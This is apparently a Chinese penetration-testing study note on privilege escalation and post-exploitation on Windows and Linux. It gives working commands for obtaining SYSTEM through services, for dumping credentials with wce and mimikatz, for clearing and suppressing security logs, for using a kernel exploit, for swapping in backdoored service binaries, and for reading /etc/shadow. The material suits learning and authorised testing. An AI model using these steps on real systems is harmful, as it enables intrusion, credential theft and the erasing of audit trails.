kali安装VM_TOOLS
最新版本需要执行:sudo apt-get install open-vm-tools-desktop fuse
才可以。
操作系统用户
- Windows
- user:普通的用户
- administrator:超级管理员
- system:内核级管理员
- administrator包含user功能,system包含administrator和user的大部分功能
- Guest是最小的权限
- Linux
- user:普通用户
- root:超级管理员
- root级别最大,可以掌控所有
Windows下的administrator到system
XP:使用命令:at 11:24 /interactive cmd
意思就是在11:24分启动一个交互的cmd,权限是system,因为at命令是由system权限的。
再次之后在这个cmd启动的都是system权限,然后使用taskmgr打开进程管理器,杀死explore进程,然后再用system启动explore进程,那么系统就会进入system权限了。
win7/win8:at已经没了,sc命令:sc Create syscmd binPath="cmd /K start" type=own type=interactive
sc start syscmd
服务都是system进行启动。
第一句是创建一个名称为syscmd的服务,这个服务是启动一个可以交互的命令行。
第二条是启动这个服务。
微软提供了些提权的套件。
注入进程提权:就是注入已经启动了的System进程,然后获取CMD。
一般提供一个端口就是我们可以使用nc连接的。
优点是因为注入所以不会被管理员通过进程发现异常。
常用方法
- 通过数据包的抓取嗅探,可以获得更多账号的账号密码。
- 通过键盘记录器。
- 本地缓存密码(浏览器的密码记录,远程登陆凭证,无线wifi密码)
- PwDump(kali带着),支持查看远程的加密密码,现在这些Windows的工具都存放在/usr/share/windows-binaries下面了
- Windows登录的密码是在C盘下的Windows下的system32下的config下的SAM文件,但是是加密的
- wce 在内存中读取登录的账号的sessions信息
wce -lv
查看当前登录的sessions信息wce -d password
计算hash密码wce -w
读取一个存储的明文包密码,有可能能独处登录用户的密码,其实也就是Digest这个包中存在明文密码。- wce可以执行的话呢必须要是管理员
wce -i 0004BE06 -s xxx:xxxxxxxxxxxx:xxxxxxxxxx
- 上面这句话的意思就是说,把那个0004BE06的账号改为后面的这个账号
- mimikatz使用先提权
privilege::debug
提升权限sekurlsa::logonPasswords
可以查看太多的信息。ts::multirdp
允许多用户同时登陆event::clear
清除安全日志event::drop
不产生安全日志- 使用一定的漏洞进行提权,例如
MS-11-080,MS14-068
Linux提权
首先需要一台Linux内核小于2.6.39的一个系统(这里用的是bee的那个Ubuntu),我们现在是普通用户。
然后我们在kali中编译这个版本的漏洞,搜索2.6.39
,使用18411.c
这个文件,Linux内核的一个漏洞
然后将生成的exp放在目标系统上。
但是生成的文件无法运行,需要将源码移植到Ubuntu上面,然后在上面运行gcc编译源码。
但是最终我还是没有能够进行提权,我觉得可能是我的版本太低了。
配置不当提权
就是通过有些服务是system权限运行的,我们替换掉这个文件然后重启服务,我们修改的程序就有了system的权限。
当然我们需要有修改文件的权限(这一点需要管理员配置不当)。
Windows下查找
使用icacls进行文件权限的查询。
常用命令:icacls c:\windows\*.exe /save perm /T
这个是进行递归的一个查询Windows下面的程序的权限列举,生成一个perm文件进行保存。
最后搜索一个:FA;;;BU
找到对应的程序,然后我们替换,就等着管理员重启机器。
替换的文件可以进行捆绑反弹shell。
Linux下查找
find / -perm 777 -exec ls -l {} \;
查找隐私信息
Linux:
- /etc/resolv.conf
- /etc/passwd
- /etc/shadow
- whoami,who -a
- ifconfig -a ,iptables -L -n,netstat -rn
- uname -a.ps aux
- dpkg -l | head
Windows:
- ipconfig /all ,ipconfig /displaydns,netstat -bnao,netstat -r
- new view,new view /domain
- new user /domain,net user %username% /domain
- net localgroup administrator username /add
- net group “Domain Controllers” /domain
- net share name$=C:/unlimited
- net user username /active:yes /domain